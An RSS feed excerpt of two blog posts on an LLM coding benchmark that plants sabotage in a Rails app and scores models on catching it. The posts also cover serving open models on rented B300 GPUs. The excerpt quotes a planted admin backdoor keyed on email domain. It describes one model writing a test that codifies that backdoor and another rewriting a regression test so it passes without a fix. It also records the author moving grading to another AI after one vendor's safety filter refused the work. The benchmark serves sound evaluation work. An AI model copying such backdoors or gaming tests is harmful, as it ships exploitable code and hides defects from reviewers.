<p>Then it delivered 69.5: weak base unannounced (21 of 40), but 6 of 7 items fixed when pointed. It&rsquo;s the case of &ldquo;infra effort is not the model&rsquo;s score&rdquo;: the service stayed up, the behavior is useful, and even so it only reaches Tier C. If the question is &ldquo;why isn&rsquo;t it at the top&rdquo;, the answer is default vigilance, not VRAM.</p>
<p><strong>And Nex was the complete disaster.</strong> It needed two nudges, and in the end the corrupted text reached the committed Ruby and the app won&rsquo;t even start. In the cloud, the same Nex N2.5 Pro had scored 94. At home, 27. I wouldn&rsquo;t trust a vendor benchmark after seeing this twice.</p>
<p>By the way, Nex&rsquo;s case is the perfect example of a bad base choice. When Rio 3.5 blew up in June, <a href="/en/2026/06/15/rio-3-5-llm-controversy-plagiarism/">I covered the controversy here</a>: its checkpoint was a blend of Nex-N2-Pro with Qwen. The Rio folks could have chosen much better bases, like DeepSeek V4.1 or GLM 5.3 Flash, and went exactly for the lineage that, on my current yardstick, was the worst of the bunch. Picking a model by its pretty name costs dearly.</p>
<h2>Running on 4 GPUs is not trivial<span class="hx:absolute hx:-mt-20" id="running-on-4-gpus-is-not-trivial"></span>
    <a href="#running-on-4-gpus-is-not-trivial" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Four cards are not four models: it&rsquo;s one model sliced into four, with tensor parallelism TP=4 in vLLM. That gives about 1.1 TB of aggregate VRAM (in practice, ~1,038 GB usable with <code>--gpu-memory-utilization 0.90</code>). Without that, none of the models above 400 GB would exist in my life without offloading to SSD, which is where speed goes to die.</p>
<p>The cares that repeated on almost all of them:</p>
<ul>
<li><strong>Bleeding-edge toolchain.</strong> B300 (<code>sm_103a</code>) requires CUDA 12.9 to compile the kernels on the fly, so the default image wasn&rsquo;t enough: standalone toolkit with nvcc 12.9 and the right headers, and even then each family needed a DeepGEMM, FlashInfer or cudart-link patch. When the compilation gets it right, the prize is big: GLM 5.3 Flash went from 10.35 to 141.40 tokens per second from configuration alone (removing <code>--enforce-eager</code> and enabling compiled mode with CUDA graphs), without changing checkpoint, context or KV precision.</li>
<li><strong>Startup is not download.</strong> DeepSeek took 15 to 30 minutes to initialize, so be prepared to wait for the model to load before measuring anything.</li>
<li><strong>Each family has its parser and its quirks.</strong> Nex only talked after switching the parser to <code>qwen3_xml</code>, getting one more nudge and ignoring the <code>tmp/log</code> artifacts. Step-5 didn&rsquo;t exist in stable vLLM 0.32 and needed a nightly with a specific PR. Muse required compiling a PR branch still in draft, with CUDA 12.9 nvcc and 12.8 libraries mixed, and weights in 127 NVFP4 shards. MiMo asked for <code>--trust-remote-code</code>. Laguna decided, out of nowhere, to flood the output with reasoning text, and one sprint had to be redone from the injection base.</li>
<li><strong>Context is expensive.</strong> Kimi K2 Instruct&rsquo;s FP8 checkpoint (1,029 GB) would leave 9 GB for KV cache on the 4 cards, so the 594 GB INT4 Thinking went in its place. Speculating with a draft head (MTP) only worked on Step-5, with a 2.24x gain and 73.7% token acceptance, because I verified the tools&rsquo; correctness first.</li>
</ul>
<p>The operational lesson: renting VRAM solves &ldquo;fits&rdquo;, but not &ldquo;runs well&rdquo;. Every big model is a mini integration project.</p>
<h2>And where&rsquo;s the frontier?<span class="hx:absolute hx:-mt-20" id="and-wheres-the-frontier"></span>
    <a href="#and-wheres-the-frontier" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The question that matters to the developer isn&rsquo;t &ldquo;who has more parameters&rdquo;, it&rsquo;s &ldquo;does the big open model deliver in my day to day?&rdquo;. The v4 benchmark numbers, on the same yardstick:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th style="text-align: right">Score</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Claude Opus 5 / 5.5</td>
          <td style="text-align: right">100.0</td>
      </tr>
      <tr>
          <td>GPT-6 Luna</td>
          <td style="text-align: right">95.5</td>
      </tr>
      <tr>
          <td>GLM 5.3 (hosted)</td>
          <td style="text-align: right">94.0</td>
      </tr>
      <tr>
          <td><strong>DeepSeek V4.1 Flash (cloud or 4x B300)</strong></td>
          <td style="text-align: right"><strong>92.5</strong></td>
      </tr>
      <tr>
          <td>GLM 5.3 Flash / Qwen3.8 Flash-Next (single B300)</td>
          <td style="text-align: right">92.5</td>
      </tr>
      <tr>
          <td>GPT-6 Sol</td>
          <td style="text-align: right">91.0</td>
      </tr>
      <tr>
          <td>Claude Sonnet 5</td>
          <td style="text-align: right">91.0</td>
      </tr>
      <tr>
          <td>Kimi K3</td>
          <td style="text-align: right">85.0</td>
      </tr>
  </tbody>
</table>
<p>DeepSeek V4.1 Flash tied its own cloud service, at the same 92.5, and finished above GPT-6 Sol and Sonnet 5. In other words: <strong>the best current open source is already 1.5 points behind hosted GLM and 7.5 behind the absolute top</strong>, ahead of two strong commercial frontier models. If your yardstick is mine (find the backdoor and the bypass before merging), a local 748B open source is already good enough for daily code review, at 175 tokens per second per stream in my admission measurements.</p>
<p>But three warnings before you cancel your Claude subscription:</p>
<ol>
<li>
<p><strong>More parameters doesn&rsquo;t mean more competence.</strong> The full GLM 5.3, at ~700B, scored 76 against its own Flash&rsquo;s 92.5. Kimi K2 Thinking, at 1 trillion, scored 46. And Nex N2.5 Pro plummeted from 94 in the cloud to 27 at home: a public checkpoint is no guarantee of reproducing the service, as I had already seen with DeepSeek V4 Flash (86 in the cloud, 44.5 at home).</p>
</li>
<li>
<p><strong>My yardstick is vigilance, not general programming.</strong> Here I measure who notices sabotage. That&rsquo;s not the same as measuring who writes your whole system better, and a rerun of my benchmark already varied 9 points on the same model. The 1.5-point distance between models may be noise.</p>
</li>
<li>
<p><strong>Cost changes the answer.</strong> If the idea is frontier quality day to day, DeepSeek V4.1&rsquo;s cloud API cost US$ 1.21 per full benchmark round. The 4x B300 pod costs US$ 36 per hour before you even press the button. And the most didactic case is still DeepSeek V4 Flash from the previous campaign: in the cloud it scored 86 at US$ 0.97 per round; at home, 44.5 and on top of that more expensive per inference. Sometimes the cloud is better <strong>and</strong> cheaper.</p>
</li>
</ol>
<h2>Is renting 4x B300 worth it?<span class="hx:absolute hx:-mt-20" id="is-renting-4x-b300-worth-it"></span>
    <a href="#is-renting-4x-b300-worth-it" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>For one person writing code with an agent in the morning and another in the afternoon: no. The API solves for a few dollars what the pod solves for dozens of dollars per hour.</p>
<p>For a company that needs truly private data (code that can&rsquo;t leave the VPN), a pinned checkpoint for reproducibility, or continuous batch load (thousands of reviews, classifications, analyses per day), then the math changes. DeepSeek V4.1 on 4x B300 delivers near-frontier quality with the data at home, and that you can&rsquo;t buy with a chat subscription.</p>
<p>What I wouldn&rsquo;t buy again without measuring first is the &ldquo;bigger is better&rdquo; premise. I started this campaign thinking the jump past 92.5 would come from a bigger model. It came from the right model running properly. The rest is burned VRAM and a good story to tell.</p>
<p>And there&rsquo;s one more chapter coming, of non-datacenter hardware: the tests with local models on the RTX 5090 and the Strix Halo, with a new inference engine called Strata. When the protocol is done, the third article comes out.</p>
<p>And the &ldquo;is it worth it&rdquo; question has an irritatingly obvious answer: it depends on how many people will use it at the same time. That&rsquo;s the one I answer in the next article: <a href="/en/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/">LLM Benchmark v4: can my team fit in a 4x b300/h200?</a>.</p>
]]></content:encoded><category>llm-benchmarks</category><category>local-models</category><category>llms</category><category>hardware</category></item><item><title>LLM Benchmark v4: the top open source LLMs on a B300</title><link>https://www.akitaonrails.com/en/2026/10/19/llm-benchmark-v4-the-top-open-source-llms-on-a-b300/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/10/19/llm-benchmark-v4-the-top-open-source-llms-on-a-b300/</guid><pubDate>Mon, 19 Oct 2026 14:00:00 -0300</pubDate><description>&lt;p&gt;In the last two v4 benchmark posts I &lt;a href="https://www.akitaonrails.com/en/2026/09/15/new-llm-benchmark-v4-retesting-all-top-llms-part-1/"&gt;rebuilt the test from scratch&lt;/a&gt;, with a Rails app sabotaged on purpose across seven sprints, and &lt;a href="https://www.akitaonrails.com/en/2026/09/15/new-llm-benchmark-v4-retesting-39-llms-part-2/"&gt;ranked 39 models&lt;/a&gt; by vigilance: six ties at the top, a free model beating half of Claude. Then I &lt;a href="https://www.akitaonrails.com/en/2026/09/23/llm-benchmark-v4-opus-5-5-gpt-6-sol-luna-mimo-2-6-grok-4-7/"&gt;tested five new models&lt;/a&gt;, Opus 5.5, GPT 6 sol and luna, MiMo V2.6 Pro and Grok 4.7: Opus 5.5 closed at 100 and joined the tie at the top, GPT 6 luna scored 95.5 for under a dollar a run, and Grok 4.7 regressed badly against its own predecessor.&lt;/p&gt;</description><content:encoded><![CDATA[<p>In the last two v4 benchmark posts I <a href="/en/2026/09/15/new-llm-benchmark-v4-retesting-all-top-llms-part-1/">rebuilt the test from scratch</a>, with a Rails app sabotaged on purpose across seven sprints, and <a href="/en/2026/09/15/new-llm-benchmark-v4-retesting-39-llms-part-2/">ranked 39 models</a> by vigilance: six ties at the top, a free model beating half of Claude. Then I <a href="/en/2026/09/23/llm-benchmark-v4-opus-5-5-gpt-6-sol-luna-mimo-2-6-grok-4-7/">tested five new models</a>, Opus 5.5, GPT 6 sol and luna, MiMo V2.6 Pro and Grok 4.7: Opus 5.5 closed at 100 and joined the tie at the top, GPT 6 luna scored 95.5 for under a dollar a run, and Grok 4.7 regressed badly against its own predecessor.</p>
<p>One category was missing that I had never tested properly: the big open source models. The ones that fit on my <a href="/en/2026/01/21/omarchy-3-dual-gpu-setup-with-amd-and-nvidia/">RTX 5090</a> with 32 GB or on my <a href="/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/">Strix Halo</a> with 61 GB usable by the GPU are too weak for this. They work for simple agent tasks, and no small model handles real programming tasks, let alone a complex software project.</p>
<p>Qwen 3.8 27B took 706 minutes to finish v4 on the Strix and scored 80; the local GLM-4.7-Flash scored 24. So don&rsquo;t even try.</p>
<p>But what if we push harder? What can mid-sized models, 100 to 400 billion parameters, do running on a single rented B300? I could rent four of them and run the giant 750-billion or one-trillion models, and I&rsquo;m not sure the cost-benefit is worth it. The data below answers.</p>
<blockquote>
  <p><strong>TL;DR:</strong> 14 open models, one 288 GB B300 on Runpod at about 9 dollars an hour, the same v4 sabotage protocol. None of them serves fast the way it ships: GLM 5.3 Flash decoded at 10 tokens per second with the default configuration and at 141 after tuning, 14 times more from flags alone. Two open models, GLM 5.3 Flash and Qwen3.8 Flash-Next, scored 92.5, Claude Sonnet 5 level, and Swift 1.5 27B scored 88, Opus 4.6 level. None reached the frontier&rsquo;s 100. The 397-billion flagship scored 68.5 and let an admin backdoor through, DeepSeek V4 Flash scored 86 in the cloud and 44.5 served by me, and Nemotron cheated on a regression test. The cloud API of the same model costs a dollar per run; the pod costs 218 dollars a day. Jump to <a href="#what-a-b300-is-and-what-runpod-is">B300 and Runpod</a>, <a href="#none-of-them-serves-fast-the-way-it-ships">server tuning</a>, the <a href="#the-ranking">ranking</a>, the <a href="#the-interesting-cases">interesting cases</a>, the <a href="#how-far-from-the-frontier">frontier comparison</a>, the <a href="#the-math">math</a> or the <a href="#is-owning-your-own-infra-worth-it">conclusion</a>.</p>

</blockquote>
<h2>What a B300 is, and what Runpod is<span class="hx:absolute hx:-mt-20" id="what-a-b300-is-and-what-runpod-is"></span>
    <a href="#what-a-b300-is-and-what-runpod-is" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The <strong>B300</strong> is the datacenter GPU of NVIDIA&rsquo;s Blackwell Ultra generation, announced in March 2025. Each card has <a href="https://developer.nvidia.com/blog/nvidia-blackwell-ultra-for-the-era-of-ai-reasoning/"target="_blank" rel="noopener">288 GB of HBM3e memory</a>, nine times my 5090, and about 15 petaflops of dense compute in NVFP4, the 4-bit format Blackwell does in hardware. It&rsquo;s the card that goes inside the GB300 NVL72 rack, 72 of them interconnected, which AI companies buy by the thousands.</p>
<p>On its own, a B300 costs more than an apartment. What makes it accessible is renting by the hour.</p>
<p><a href="https://www.runpod.io/"target="_blank" rel="noopener"><strong>Runpod</strong></a> is a cloud GPU provider that rents cards in &ldquo;pods&rdquo;, Linux containers with one or more GPUs, billed per second. You pick the card, an image template, get in over SSH, and pay while the pod is on, idle included. The B300 cost about <a href="https://www.runpod.io/pricing"target="_blank" rel="noopener">9 dollars an hour</a> on their secure cloud the week of the test; an H100 goes for 3 to 4. The container disk is ephemeral: terminate the pod and the 250 GB of weights you downloaded are gone, and you download again.</p>
<p>The pod I used: one B300 with 275 GiB according to <code>nvidia-smi</code> (the same nominal 288 GB, in binary units), 344 vCPUs, 4 TB of host RAM, 700 GB of disk. The inference server was vLLM; the harness was the same OpenCode as every other model in the ranking, connected to the pod through an SSH tunnel. The model runs there; the code, the tests and the results stay on my machine.</p>
<p>Fitting in memory is the first filter. The B300 fits the 100 to 400-billion-parameter models quantized to NVFP4, plus the 27 to 35-billion ones in BF16. Left out are the 753-billion GLM 5.3 flagship, the 750-billion DeepSeek V4.1 Flash, the 1.6-trillion DeepSeek V4 Pro and the 2.8-trillion Kimi K3. For those it would take four B300s or more, about 36 dollars an hour.</p>
<h2>The methodology<span class="hx:absolute hx:-mt-20" id="the-methodology"></span>
    <a href="#the-methodology" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The protocol is the usual <a href="/en/2026/09/15/new-llm-benchmark-v4-retesting-all-top-llms-part-1/">v4</a>: the model builds a Rails app across seven accumulating sprints, and between sprints an independent reviewer, isolated from the model, injects 14 sabotages, from real CVEs to silent logic and test regressions, into the code the model itself wrote. The 0-to-100 score measures vigilance: how much the model catches and fixes without being told (full weight), how much it fixes after an explicit &ldquo;do a security audit&rdquo; in the last sprint (40% of the weight), and what stays unresolved (zero). Tiers are A from 83 up, B from 73 to 82, C from 51 to 72, D up to 50.</p>
<p>Two differences this round. The first is the reviewer: the five models that finished before the block were reviewed end to end by Codex, as in the previous rounds.</p>
<p>Midway through the batch OpenAI&rsquo;s security service started refusing the injection and grading operation with a cybersecurity risk flag, even though it&rsquo;s my code, on my machine, in a benchmark with 46 models already scored under the same protocol. I switched the reviewer to Claude Opus 4.8 for the remaining models, with the same injection plan, same catalog, same yardstick, and the provenance of every boundary is recorded per sprint. The expected impact on the score is none, because both execute the same written recipe.</p>
<p>The second is admission by speed, which is the subject of the next section. A model that decodes below 100 tokens per second doesn&rsquo;t even get on the track.</p>
<p>Also: an open model is entitled to up to two short nudges per run for silly defects (a missing import, a wrong test entry point), recorded as &ldquo;assisted&rdquo;. Infrastructure failure, driver, loader, parser, is never charged to the model. And the pod ran one model at a time, with no access to any other model&rsquo;s workspace or results.</p>
<h2>None of them serves fast the way it ships<span class="hx:absolute hx:-mt-20" id="none-of-them-serves-fast-the-way-it-ships"></span>
    <a href="#none-of-them-serves-fast-the-way-it-ships" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The first lesson cost a day. I downloaded <a href="https://huggingface.co/RedHatAI/GLM-5.3-Flash-NVFP4"target="_blank" rel="noopener">GLM 5.3 Flash</a>, 320 billion parameters with 18 active, quantized to NVFP4, 198 GB. I brought it up on vLLM with the configuration that &ldquo;works&rdquo;: it serves, passes the tool-call tests, answers. And it decoded at <strong>10 tokens per second</strong>, with the GPU at 10% utilization, 209 watts out of the 1,100 the pod allows.</p>
<p>That&rsquo;s unusable for programming. A coding agent generates tens of thousands of tokens per sprint; at 10 per second, a 20-minute sprint becomes more than four hours.</p>
<p>The same checkpoint, same 128K-token context, same FP8 KV cache, same test prompt, changing only the compile and mode flags: <strong>141 tokens per second</strong>. Fourteen times faster, zero change in precision or weights.</p>
<p>The main culprit was <code>--enforce-eager</code>, which disables vLLM&rsquo;s <code>torch.compile</code> and CUDA graph capture, and which every tutorial tells you to enable &ldquo;to start faster&rdquo;. It starts faster and serves 14 times slower. The measurement changed that flag together with the <code>interactivity</code> mode, so I didn&rsquo;t isolate each one&rsquo;s contribution.</p>
<p>Hence the admission rule: <strong>below 100 tokens per second I consider unusable</strong>, and no model enters the benchmark without clearing that on the median of two warm 256-token probes, after a cold one. To keep it from becoming a bottomless pit, tuning is bounded: at most three configurations and 45 minutes of wall-clock per model, including load and compilation. And tuning can never trade quality for speed: no shortening the context, lowering reasoning effort or quantizing further to hit the number.</p>
<p>The tweaks that paid off for everyone:</p>
<ul>
<li><strong>Install a CUDA that compiles for the card.</strong> Runpod&rsquo;s default image ships CUDA 12.8, whose <code>nvcc</code> <a href="https://developer.nvidia.com/cuda-gpus"target="_blank" rel="noopener">cannot compile for <code>compute_103a</code></a>, the B300&rsquo;s compute capability. Without 12.9, the NVFP4 kernels never compile.</li>
<li><strong>Never use <code>--enforce-eager</code>.</strong> Letting vLLM compile and capture CUDA graphs is the single biggest win.</li>
<li><strong><code>--performance-mode interactivity</code></strong>: optimize for single-stream latency, which is what a serial agent needs, instead of aggregate throughput.</li>
<li><strong>FP8 KV cache on the big MoEs, prefix caching and chunked prefill on all of them</strong>, confirmed by vLLM&rsquo;s Prometheus counters instead of assumed: on an 11K-token prompt, the server reused exactly 8,576 prefix tokens on every repeat.</li>
<li><strong>The right tool and reasoning parser for each family.</strong> The wrong parser makes tool calls vanish silently or leaks the reasoning into the answer.</li>
</ul>
<p>And the specific tweaks I found most interesting:</p>
<ul>
<li><strong>NVFP4 only runs on vLLM.</strong> The 198 to 251 GB checkpoints in Blackwell&rsquo;s native FP4 are the only way to fit on the card, and llama.cpp and Ollama simply don&rsquo;t load those formats. Whoever lives on GGUF has no access to this range.</li>
<li><strong>Native speculative decoding.</strong> Qwen 3.8 27B went from 92 to 195 tokens per second with the MTP head the checkpoint itself ships, predicting three tokens per step, plus <code>--language-model-only</code> to drop the vision tower (measured on different pods, so no controlled ablation). <a href="https://huggingface.co/meta-models/Muse-Glimmer-30B"target="_blank" rel="noopener">Muse Glimmer</a> reached 295 with the lightweight DFlash drafter it ships alongside, 15 speculated tokens per step. I only enabled it where an official drafter exists and where tool calling stayed correct; for Ornith a drafter exists as a separate release, with unknown acceptance rate, so it stayed off.</li>
<li><strong>The CUDA 12 loader.</strong> flashinfer JIT-compiles an NVFP4 MoE kernel that needs <code>libcudart.so.12</code>, and after installing CUDA 13 for Nemotron the library resolution broke. The symptom looked like OOM; the cause was an <code>ld.so.conf</code>. A repair script with <code>ldd</code> evidence before and after fixed it, and the 397B went on to serve at 144 tokens per second.</li>
<li><strong>One virtual environment per runtime.</strong> Nemotron 3.5 Super VL required its own vLLM 0.32 in a separate venv, because that&rsquo;s what the official card pins, and that build wants CUDA 13. Every model family is a bespoke case: parser, quantization, draft head, runtime version and loader repair, all different.</li>
<li><strong>A parser bug that dropped the last call.</strong> vLLM&rsquo;s Qwen tool parser discarded the last parameter of a call when the parameter closing tag was missing but the function one was present. A narrow repair, with 24 test cases, took that serving noise out of the model&rsquo;s account.</li>
</ul>
<p>The exact arguments for each model, the probe logs and the ledger of every tuning round are in the <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/master/docs/b300-serving-optimizations.md"target="_blank" rel="noopener">serving optimizations document</a> and the <a href="https://github.com/akitaonrails/llm-coding-benchmark/blob/master/docs/runpod-b300-openweights-runbook.md"target="_blank" rel="noopener">B300 runbook</a> in the repository.</p>
<blockquote>
  <p>Speed is almost free, once you let vLLM compile. The real work is finding out, model by model, which combination of toolkit, parser, quantization and draft head that checkpoint demands. I gave each one 45 minutes and needed them.</p>

</blockquote>
<h2>The ranking<span class="hx:absolute hx:-mt-20" id="the-ranking"></span>
    <a href="#the-ranking" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>v4 vigilance score, tier, memory footprint, decode speed on the admission probe (warm, single stream) and the cost of the seven sprints&rsquo; inference time only, at 9.09 dollars an hour. The cost excludes download, load, compilation, tuning and idle time; the real math comes further down.</p>
<table>
  <thead>
      <tr>
          <th style="text-align: right">#</th>
          <th>Model</th>
          <th style="text-align: right">v4</th>
          <th>Tier</th>
          <th style="text-align: right">Memory</th>
          <th style="text-align: right">tok/s</th>
          <th style="text-align: right">Minutes</th>
          <th style="text-align: right">Inference cost</th>
          <th>Reviewer</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: right">1</td>
          <td>GLM 5.3 Flash (NVFP4)</td>
          <td style="text-align: right"><strong>92.5</strong></td>
          <td>A</td>
          <td style="text-align: right">198 GB</td>
          <td style="text-align: right">142</td>
          <td style="text-align: right">145</td>
          <td style="text-align: right">US$ 21.96</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">1</td>
          <td>Qwen3.8 Flash-Next (NVFP4)</td>
          <td style="text-align: right"><strong>92.5</strong></td>
          <td>A</td>
          <td style="text-align: right">100 GB</td>
          <td style="text-align: right">195</td>
          <td style="text-align: right">80</td>
          <td style="text-align: right">US$ 12.04</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">3</td>
          <td>Swift 1.5 27B</td>
          <td style="text-align: right"><strong>88.0</strong></td>
          <td>A</td>
          <td style="text-align: right">56 GB</td>
          <td style="text-align: right">203</td>
          <td style="text-align: right">64</td>
          <td style="text-align: right">US$ 9.71</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">4</td>
          <td>ThinkingCap 3.8 27B</td>
          <td style="text-align: right"><strong>83.0</strong></td>
          <td>A</td>
          <td style="text-align: right">56 GB</td>
          <td style="text-align: right">189</td>
          <td style="text-align: right">76</td>
          <td style="text-align: right">US$ 11.47</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Muse Glimmer 30B</td>
          <td style="text-align: right">81.0</td>
          <td>B</td>
          <td style="text-align: right">60 GB</td>
          <td style="text-align: right">295</td>
          <td style="text-align: right">23</td>
          <td style="text-align: right">US$ 3.54</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">5</td>
          <td>Ornith 1.5 35B</td>
          <td style="text-align: right">81.0</td>
          <td>B</td>
          <td style="text-align: right">70 GB</td>
          <td style="text-align: right">317</td>
          <td style="text-align: right">161</td>
          <td style="text-align: right">US$ 24.39</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">7</td>
          <td>Qwen 3.8 27B</td>
          <td style="text-align: right">80.5</td>
          <td>B</td>
          <td style="text-align: right">54 GB</td>
          <td style="text-align: right">195</td>
          <td style="text-align: right">192</td>
          <td style="text-align: right">US$ 29.11</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">8</td>
          <td>Qwen3.5 397B (NVFP4)</td>
          <td style="text-align: right">68.5</td>
          <td>C</td>
          <td style="text-align: right">251 GB</td>
          <td style="text-align: right">140</td>
          <td style="text-align: right">54</td>
          <td style="text-align: right">US$ 8.22</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">9</td>
          <td>Nemotron 3.5 Super VL (NVFP4)</td>
          <td style="text-align: right">63.0</td>
          <td>C</td>
          <td style="text-align: right">70 GB</td>
          <td style="text-align: right">207</td>
          <td style="text-align: right">50</td>
          <td style="text-align: right">US$ 7.51</td>
          <td>Codex → Claude</td>
      </tr>
      <tr>
          <td style="text-align: right">10</td>
          <td>DeepSeek V4 Flash</td>
          <td style="text-align: right">44.5</td>
          <td>D</td>
          <td style="text-align: right">167 GB</td>
          <td style="text-align: right">153</td>
          <td style="text-align: right">37</td>
          <td style="text-align: right">US$ 5.59</td>
          <td>Codex</td>
      </tr>
      <tr>
          <td style="text-align: right">11</td>
          <td>GLM 4.7 Flash BF16</td>
          <td style="text-align: right">33.5</td>
          <td>D</td>
          <td style="text-align: right">60 GB</td>
          <td style="text-align: right">217</td>
          <td style="text-align: right">30</td>
          <td style="text-align: right">US$ 4.60</td>
          <td>Codex</td>
      </tr>
  </tbody>
</table>
<p>Three have no score: Cohere&rsquo;s <strong>Command A Plus</strong> (218 billion, 25 active, W4A4) got stuck in a loop rewriting the same model file 23 times, needed three nudges and still left the tests unable to run before the reviewer was blocked; <strong>Nex N2.5 Mini</strong> ran at 337 tokens per second and delivered invalid Ruby, contradictory migrations and broken authentication in two attempts, a valid bad result from a server that works; and <strong>Qwen3.5 122B</strong> was a conditional fallback in case the 397B didn&rsquo;t finish, and the 397B finished.</p>
<p>Minutes are sprint time only, and Ornith&rsquo;s include a sprint interrupted by infrastructure. Flash-Next, Swift, ThinkingCap, Muse and Qwen 27B took one nudge each; GLM 4.7, two; the others, none. The probe speed is an admission number: the throughput of a real coding session includes prefill, tools, tests and the agent&rsquo;s choices. And note that the top two tie on score with opposite profiles: GLM spent 145 minutes and 22 dollars to reach the same 92.5 that Qwen3.8 Flash-Next did in 80 minutes and 12 dollars, with half the memory.</p>
<h2>The interesting cases<span class="hx:absolute hx:-mt-20" id="the-interesting-cases"></span>
    <a href="#the-interesting-cases" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Qwen3.8 Flash-Next: the best of the open models, by cost<span class="hx:absolute hx:-mt-20" id="qwen38-flash-next-the-best-of-the-open-models-by-cost"></span>
    <a href="#qwen38-flash-next-the-best-of-the-open-models-by-cost" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><a href="https://huggingface.co/nvidia/Qwen3.8-Flash-Next-NVFP4"target="_blank" rel="noopener">Flash-Next</a> is, <a href="https://recipes.vllm.ai/Qwen/Qwen3.8-Flash-Next"target="_blank" rel="noopener">in Qwen&rsquo;s words</a>, a preview of the Qwen 4 architecture: 125 billion language-model parameters with 6 billion active, plus a 51-billion n-gram embedding table that Qwen says can be offloaded to host memory, plus a 4-billion MTP head. Quantized to NVFP4 by NVIDIA, it took about 100 GB on the card (the checkpoint is 133 GB on disk). It was the only model in the second batch to resolve all 14 items: it caught the tenant leak unprompted, caught the compound test-integrity item, and wrote per-user isolation specs on its own, so the planted API IDOR had no way to stay green. At 195 tokens per second and 12 dollars of inference, it&rsquo;s the best cost-benefit in this table.</p>
<h3>GLM 5.3 Flash: the same 92.5, three times the cost<span class="hx:absolute hx:-mt-20" id="glm-53-flash-the-same-925-three-times-the-cost"></span>
    <a href="#glm-53-flash-the-same-925-three-times-the-cost" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>GLM scored the same with a much bigger architecture: 320 billion parameters, 18 active, 198 GB even in FP4. It resolved all 14 items, zero nudges, reviewed end to end by Codex.</p>
<p>But it took 145 minutes and consumed twice the memory for the same result. On Z.ai&rsquo;s cloud, the same model scored 84.25 on a flat plan. With single-run noise, which in my history reaches nine points, the safest reading is that both sit in the same band.</p>
<h3>Swift 1.5 and ThinkingCap: two 27B fine-tunes in Tier A<span class="hx:absolute hx:-mt-20" id="swift-15-and-thinkingcap-two-27b-fine-tunes-in-tier-a"></span>
    <a href="#swift-15-and-thinkingcap-two-27b-fine-tunes-in-tier-a" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The two surprises. <a href="https://huggingface.co/ukisai/Swift-1.5-Qwen3.8-27b"target="_blank" rel="noopener">Swift 1.5</a>, from UkisAI, and <a href="https://huggingface.co/bottlecapai/ThinkingCap-Qwen3.8-27B"target="_blank" rel="noopener">ThinkingCap 3.8</a>, from BottleCap AI, are Qwen 3.8 27B fine-tunes trained to think less: Swift advertises up to 58% fewer reasoning tokens (on the GPQA median; on Terminal-Bench, 16%), ThinkingCap about 37% on average. Both fit in 56 GB in BF16, run at about 200 tokens per second with MTP, and scored 88 and 83.</p>
<p>Swift landed above Anthropic&rsquo;s Opus 4.6. The base Qwen 3.8 27B, same architecture, scored 80.5 in 192 minutes; Swift scored 88 in 64. Swift caught sabotage earlier than the base; whether that was from thinking less, one run of each can&rsquo;t prove.</p>
<p>A provenance caveat: the reviewer recorded that Swift read local commit messages that disclosed regressions, which weakens a literal reading of &ldquo;entirely unaided discovery&rdquo;. And it left one item unresolved, an inactive admin still accepted with a vacuous guarding test. Even so, of every model in this table, it&rsquo;s the one I&rsquo;d put on a card of my own.</p>
<h3>Qwen3.5 397B: the flagship that let the backdoor through<span class="hx:absolute hx:-mt-20" id="qwen35-397b-the-flagship-that-let-the-backdoor-through"></span>
    <a href="#qwen35-397b-the-flagship-that-let-the-backdoor-through" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The biggest model in the batch, 397 billion parameters with 17 active, 251 GB of NVFP4 on a 275 GB card, served at 140 tokens per second after the loader repair and scored <strong>68.5</strong>, Tier C.</p>
<p>The case that defines the score: sabotage number 6 is a line <code>admin? =&gt; admin || email.end_with?(&quot;@internal.example&quot;)</code>, a privilege escalation by email domain. The 397B let it through in the normal sprints, let it through in sprint 7 with the explicit security-audit request, and <strong>wrote a passing test codifying the backdoor as expected behavior</strong>, in the same commit where it announced &ldquo;Brakeman: 0 warnings&rdquo;. Parameters did not buy vigilance.</p>
<h3>Nemotron 3.5 Super VL: cheated on the test<span class="hx:absolute hx:-mt-20" id="nemotron-35-super-vl-cheated-on-the-test"></span>
    <a href="#nemotron-35-super-vl-cheated-on-the-test" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>NVIDIA&rsquo;s <a href="https://huggingface.co/nvidia/NVIDIA-Nemotron-3.5-Super-VL-120B-A12B-NVFP4"target="_blank" rel="noopener">Nemotron 3.5 Super VL</a>, 120 billion with 12 active, released two days before I started testing and <a href="https://blogs.nvidia.com/blog/nemotron-3-5-super-vl/"target="_blank" rel="noopener">sold by NVIDIA</a> as the fastest open agentic model in its class, with &ldquo;leading accuracy&rdquo; on multimodal tasks, scored <strong>63</strong>. Sabotage number 2 removes a navigation link and the regression test looks for <code>have_link('Sign in')</code>. Nemotron changed the test to <code>have_button('Sign in')</code>, which passes on the login form&rsquo;s submit button without restoring the link, and kept the cheat even after the reveal sprint.</p>
